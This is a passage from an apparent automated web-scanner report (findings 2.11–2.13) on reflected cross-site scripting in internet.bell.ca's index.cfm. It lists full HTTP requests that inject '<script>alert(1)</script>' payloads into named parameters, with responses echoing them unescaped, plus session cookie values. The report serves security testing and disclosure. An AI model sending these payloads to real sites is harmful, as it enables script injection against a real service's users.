Proxy-Connection: Keep-Alive
Cookie: SMSESSION=DQYOf2fFccygzuKsCWHK4bJMmGOU5Qg9Z5DEqQmmwpEpiosa1R0QIhFOdJJE3CqxEJeFW1O7ODbHUVM9xz4i01aBesUzPSg7/Ukq9qAC5Kwnh+ZGmvTeaxoZZZPqbVas/k+M/Zv3ks8vo0XQFiHAM7jqrXXHLo5AbXLo3v7iqDBCJLnmPyyTCXcffrghtoaPNCzkoKtqNfPKw+kaCaGPPZ5A6XR5YlAd/sVXqcISHU7DGtQc7/mk8N72wqJEuQstrI+bJGqoYdMNpL55n5B871nIgpTHrY1rkgv4CyZmGpL5NdzbO6eMaQ==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:35:29 GMT
Connection: close
Set-Cookie: SMSESSION=hWLDdKB6hB703rYXs2YueyRX8fTzCU+O9+SHR3gKpz35abj73fHqA/zC5MU84fWuwULtY1rVcMlzViLBWAwz6pXB2hP1Ddlxc+DXPU3ctfJIP4cOFC/FY7t3C4I4RSEY0EIW1gwquEitNFJkNeTmteM49bIZ/O2jM0yUB+KriqiP4iO79E5q0oqKoHaTuXNLo19fzE9H39yBXa30EFCF5IEdxUriO3sKaZwHIk48s8d4suMwQ3Y4VXx/fJSL+FcMOiXLQ4bmbA3GMFi/wUVWpl+XNP7Z+VdQltXib/Ln0Zom0fN+I6BgIQ==; path=/
Set-Cookie: CFID=121970028;expires=Thu, 15-Nov-2040 13:35:30 GMT;path=/
Set-Cookie: CFTOKEN=51016779;expires=Thu, 15-Nov-2040 13:35:30 GMT;path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Wed, 24-Nov-2010 13:35:30 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Wed, 24-Nov-2010 13:35:30 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Wed, 24-Nov-2010 13:35:30 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Wed, 24-Nov-2010 13:35:30 GMT;path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UUID=78F23D0B%2D65B8%2DB18C%2D883A60ADA7B8671B;expires=Thu, 15-Nov-2040 13:35:30 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:35:30 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:35:30 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:35:30 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:35:30 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:35:30 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:35:30 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:35:30 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:35:30 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:35:30 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:35:30 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ll.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfmd9294"><script>alert(1)</script>8170003c27d?method=sso.init&content=minidashboard" />
...[SNIP]...

2.11. http://internet.bell.ca/index.cfm [83853%22%3E%3Cscript%3Ealert(document.cookie parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the 83853%22%3E%3Cscript%3Ealert(document.cookie request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc55a"><script>alert(1)</script>3fd87685a5c was submitted in the 83853%22%3E%3Cscript%3Ealert(document.cookie parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookiecc55a"><script>alert(1)</script>3fd87685a5c HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:29:32 GMT
Connection: close
Set-Cookie: SMSESSION=O3wi0hIJBtIiwz9/D/kxk/ta4Qemah9vnk1uUf4574/zXM5ieWcnBOlvDq7OnRinEqGRlZtgx5wbYe3XXpmxZ1NcAmXAn4YrlfK36SRiH0W+zYyC22SxugeNiYaCJoCjsu1BY4lV5ONhvQhNB6QVhMVjcZqpTg6mN6uTtjdhfsJgdhMYOnH69YPY1f7chqgnV3Yhxj5MSCrBCr5OAzX+DyP/1OtYyoNxLBaDJp21y24rORXv6C9kjh0UHhGn/38qm/d0i5boEfqir47AzDPNoy6q9ttJwxMKAIB2Q5v7NjUi6bEojIDCyg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookiecc55a%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E3fd87685a5c;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:29:33 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookiecc55a"><script>alert(1)</script>3fd87685a5c" />
...[SNIP]...

2.12. http://internet.bell.ca/index.cfm [83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the 83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fb54"><script>alert(1)</script>b997d3f3672 was submitted in the 83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=13fb54"><script>alert(1)</script>b997d3f3672 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=276131723871238_1_0.05_0_5_1290908625687; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:24:05 GMT
Connection: close
Set-Cookie: SMSESSION=kkumLHLXyCKVO1FZYu+kaSqSb928gzWtEmTyMxwJeMHvQil9IYJGeS8SPuTpBXjcGDl63FqrDw2dWDrvhNHIr6rjt6aaFybP3/iHD+e2DVq0dV8kV4NNzRrX+TiWy9/mCMtjrkTHBYPyT4gPwZJyqPzXRCZDxUdibCJrlj3LuuVCNEf/x2Bxk0kHpE1VWIQKmaLfHhwlkXSMniIasQTQn9K1GxJJKn9MoQHjypf45uYhNkKWZ7eZOxFTHYceciSgKYX3c51cMLrDDD/dz6wS4L5spwXZzN+C8pxAw8PqFzNEM4xf+tQjOg==; path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:24:06 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:24:06 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:24:06 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:24:06 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:24:06 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:24:06 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:24:06 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:24:06 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:24:06 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D13fb54%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Eb997d3f3672;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:24:06 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=13fb54"><script>alert(1)</script>b997d3f3672" />
...[SNIP]...

2.13. http://internet.bell.ca/index.cfm [INT parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the INT request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 572b6"><script>alert(1)</script>7632199c410 was submitted in the INT parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=supportChat.start&INT=ISP_SA_Q2_chat_support_KF_BAN_EN572b6"><script>alert(1)</script>7632199c410 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:29:28 GMT
Connection: close
Set-Cookie: SMSESSION=uybtZDsk4de/m7Y8kYmZot6SX4fgVHgxGT0UkWkR3Dj7r+G4+EUPj1vFSlItq4vuNwG97M304k/UcfkSKeVVKTp3TKc5ZrCp478TJw87eIX2JEODjLDgUTZF/mtNh51VJw7kyG2gKYO8WRiMkeGzwciX2pK3vTRwUTGjlrdoKWuGfWUHyZNRfinGdtEloRSHnoMG7bkP26iT1D7m8rdJ64NAUe5fWX6Ttsdgf/jw8cZ4/gzkTKND350Xw1ljoRfyjWm6Yp5nd5GuKnB9W7rqaZWugCkEWKbqTFVeBd4qvewMCQzIScIEKg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:29:28 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:29:28 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:29:28 GMT;path=/
